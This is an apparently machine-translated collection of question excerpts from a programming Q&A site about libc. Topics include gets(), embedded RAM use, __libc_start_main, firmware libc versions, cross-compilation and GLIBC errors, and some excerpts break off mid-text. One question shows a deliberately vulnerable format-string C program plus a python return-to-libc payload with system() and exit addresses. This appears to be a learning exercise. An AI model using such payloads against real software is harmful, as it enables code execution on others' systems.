gets() 如果 C 语言(例如 glibc)的函数从文件中读取零字节 ( ),它会停止吗'\0'?
快速测试:echo -ne 'AB\0CDE'
谢谢。
PS这个问题来自这个问题的评论:return to libc - Problem
PPS这个gets功能很危险,但这是一个关于这个功能本身的问题,而不是任何人是否应该使用它的问题。
我希望这不是针对特定领域的。我想知道为什么 libc.a 使用我芯片上 8K 内存中的 1K。
除了调用 array_init 中全局对象的构造函数之外,我不知道使用 libc 的任何方式。据我所知,我认为它也参与了默认的副本构造。我使用池分配,因此没有与堆相关的东西(我确实使用了新的放置,但据我所知,这不应该导致 libc 使用 ram)。如果我完全忽略该库并使用placement new 作为 hack 来构造 main 中的所有全局对象,我的程序运行良好,这是 libc 使用的 1k 内存毫无用处的另一个暗示。谁能指出我进一步阅读或解释如何保留 array_init 和 POD 类型的默认复制构造,但摆脱 RAM 开销?
这是我的项目的 .map 文件中的违规条目:
*(vtable)
*(.data*)
.data._ZN3CDC4CoreI5MyCDCE11depInEmpty_E
0x10000000 0x1 ./src/Main.o
0x10000000 CDC::Core<MyCDC>::depInEmpty_
*fill* 0x10000001 0x3 00
.data.SystemFrequency
0x10000004 0x4 ./kvasir/system_LPC17xx.o
0x10000004 SystemFrequency
.data.impure_data
0x10000008 0x428 c:/nxp/lpcxpresso_5.2.4_2122/lpcxpresso/tools/bin/../lib/gcc/arm-none-eabi/4.6.2/../../../../arm-none-eabi/lib/armv7-m\libc.a(lib_a-impure.o)
.data 0x10000430 0x4 c:/nxp/lpcxpresso_5.2.4_2122/lpcxpresso/tools/bin/../lib/gcc/arm-none-eabi/4.6.2/armv7-m\crtbegin.o
0x10000430 __dso_handle
0x10000434 . = ALIGN (0x4)
0x10000434 _edata = .
.jcr 0x10000434 0x0 load address 0x00003ee8
.jcr 0x10000434 0x0 c:/nxp/lpcxpresso_5.2.4_2122/lpcxpresso/tools/bin/../lib/gcc/arm-none-eabi/4.6.2/armv7-m\crtbegin.o …Run Code Online (Sandbox Code Playgroud) 在以下原型中:
int __libc_start_main( int (*main) (int, char * *, char * *),
int argc,
char **ubp_av,
void (*init) (void),
void (*fini) (void),
void (*rtld_fini) (void),
void (* stack_end) );
Run Code Online (Sandbox Code Playgroud)
为什么ubp_av出现而不出现argv?
是什么ubp_av意思?
我(反复)遇到了各种公司的嵌入式 Linux 产品的问题,其中的 GPL 源代码与系统上实际运行的代码不匹配。它“接近”,但不太正确,特别是相对于他们使用的标准 C 库而言。这不是违反GPL吗?
通常,这种不匹配会导致程序员(像我一样)进行交叉编译,但在程序运行时设备却神秘地回复“找不到文件”或类似的信息。
我并不是唯一一个遇到此类问题的人 - 对于许多人来说,都有与该问题直接或间接相关的线程:例如: 基于 MIPS 的代码源工具链的编译参数?
我在 Sony 设备、D-link 和许多其他设备上都遇到过这个问题。这很常见。
制作新库并不是一个好的解决方案,因为大多数系统只是 ROMFS,并且 LD_LIBRARY_PATH 有时会损坏 - 因此在设备上安装新库会浪费非常有限的内存,并且通常无法工作。
如果我知道该库的正确源代码版本是什么,我就可以绕过制造商的粗心大意,并从原始开发人员树中编译它;但是,当我拥有的只是库本身的二进制文件时,如何找到我需要的版本?
例如:我在 DSL 调制解调器的 libc 上运行 elfread -a libc.so.0 (见下文);但我在这里没有看到任何可以告诉我它到底是哪个 libc 的内容......
如何从库的二进制文件中找到源代码的名称或标识符,以便我可以使用该库创建交叉编译器?例如:谁能告诉我这个库的源代码来自什么,以及他们是如何知道的?
ELF Header:
Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, big endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: …Run Code Online (Sandbox Code Playgroud) 我的机器 Ubuntu 16.04.3 LTS x86_64。我确实编译了 u-boot-2017.11,但出现错误。
u-boot-2017.11$ export ARCH=arm
u-boot-2017.11$ export CROSS_COMPILE=/opt/toolchains/gcc-linaro-4.9.4-2017.01-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-
u-boot-2017.11$ make geekbox_defconfig
HOSTCC scripts/basic/fixdep
/lib/ld-linux-armhf.so.3: No such file or directory
scripts/Makefile.host:99: recipe for target 'scripts/basic/fixdep' failed
make[1]: *** [scripts/basic/fixdep] Error 255
Makefile:399: recipe for target 'scripts_basic' failed
make: *** [scripts_basic] Error 2
Run Code Online (Sandbox Code Playgroud)
我尝试查找并安装丢失的软件包,但已全部安装完毕。
u-boot-2017.11$ dpkg -S ld-linux-armhf.so
libc6-armhf-cross: /usr/arm-linux-gnueabihf/lib/ld-linux-armhf.so.3
u-boot-2017.11$ sudo apt-get install libc6-armhf-cross
Reading package lists... Done
Building dependency tree
Reading state information... Done
libc6-armhf-cross is already the newest version (2.23-0ubuntu3cross1).
0 upgraded, 0 newly installed, …Run Code Online (Sandbox Code Playgroud) 我正在尝试使用格式字符串攻击向量对以下代码实施返回到 libc 攻击。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char a[10];
scanf("%s",&a);
printf(a);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我想通了使用系统()的地址p system的命令gdb。通过使用 对堆栈帧的检查x/500s $esp,我计算出包含\bin\sh.
system: 0xf7e2cda0
exit: 0xf7e209d0
\bin\bash: 0xffffd207
Run Code Online (Sandbox Code Playgroud)
有了这些东西,我构造了以下格式字符串:
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
Run Code Online (Sandbox Code Playgroud)
其中0xffffcdbc - 0x4是包含系统地址0xf7e2cda0值的本地地址。
我使用编译程序gcc -m32 -fno-stack-protector -o sh sh.c并使用gdb sh. 执行后,在输入时r<inp,我得到以下输出
如上所示,显示了一些错误命令,我只有在r再次运行命令后才能进入 shell …
我对这些库有点困惑。我现在在 Ubuntu 上工作,我使用 g++ 5,我看到我的应用程序链接在 libc.so 中。它是 Ubuntu 对 C 标准库的实现吗?它与 glibc 不同吗?
$ ldd application.exe
...
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
...
Run Code Online (Sandbox Code Playgroud) 我创建了一个简单的 pty 设置,但是我不确定如何在创建后实际写入主端或从端。我也不确定我的设置是否正确,因为经过检查,pty 的子进程的 Stdin、Stdout 和 Stderr 都是 None 而不是设置为从文件描述符。任何人都可以澄清这是否正确,如果不正确,您对如何解决它有任何建议吗?
use libc::{self};
use nix::pty::openpty;
use std::os::unix::io::FromRawFd;
use std::process::{Child, Command, Stdio};
#[derive(Debug)]
pub struct Pty {
process: Child,
fd: i32,
}
fn create_pty(process: &str) -> Pty {
let ends = openpty(None, None).expect("openpty failed");
let master = ends.master;
let slave = ends.slave;
let mut builder = Command::new(process);
builder.stdin(unsafe { Stdio::from_raw_fd(slave) });
builder.stdout(unsafe { Stdio::from_raw_fd(slave) });
builder.stderr(unsafe { Stdio::from_raw_fd(slave) });
match builder.spawn() {
Ok(process) => {
let pty = Pty {
process,
fd: …Run Code Online (Sandbox Code Playgroud) 我正在尝试在 ARMv7(32 位)架构上安装 PyTorch,但 PyTorch 没有官方的 ARMv7 版本,所以我尝试了这个非官方版本。
它安装成功但是当我导入手电筒时出现以下错误
>>import torch
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/local/lib/python3.7/site-packages/torch/__init__.py", line 81, in <module>
from torch._C import *
ImportError: /lib/arm-linux-gnueabihf/libc.so.6: version `GLIBC_2.28' not found (required by /usr/local/lib/python3.7/site-packages/torch/lib/libtorch_python.so)
Run Code Online (Sandbox Code Playgroud)
我尝试了以下
sudo apt-get update
sudo apt-get install libc6
Run Code Online (Sandbox Code Playgroud)
但它接缝就像我有最新版本的 libc6
Reading package lists... Done
Building dependency tree
Reading state information... Done
libc6 is already the newest version (2.23-0ubuntu11).
The following packages were automatically installed and are no …Run Code Online (Sandbox Code Playgroud)